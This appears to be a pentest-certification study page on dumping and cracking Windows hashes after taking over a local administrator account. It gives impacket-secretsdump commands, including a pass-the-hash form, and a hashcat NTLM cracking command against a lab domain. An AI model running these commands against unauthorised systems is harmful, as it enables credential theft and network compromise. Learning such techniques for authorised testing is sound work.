> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/active-directory/post-compromise-attacks/dumping-and-cracking-hashes.md).

# Dumping and Cracking Hashes

## Overview

After compromising a Local Administrator account, we can dump hashes from he SAM and LSA on the machine using **secretsdump**. This can be done using the accounts password or hash.

We can then crack the hashes using **hashcat**

On older machines that have wdigest enabled, there is a possibility to view passwords in clear-text

## Secretsdump

```bash
impacket-secretsdump PNPT.local/greg:'Password1'@192.168.1.130
```

```bash
imapcket-secretsdump administrator@192.168.1.130 -hashes 'aad3b435b51404eeaad3b435b51404ee:7facdc498ed1'
```

```bash
hashcat -m 1000 crackme.txt ~/rockyou.txt -O -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule
```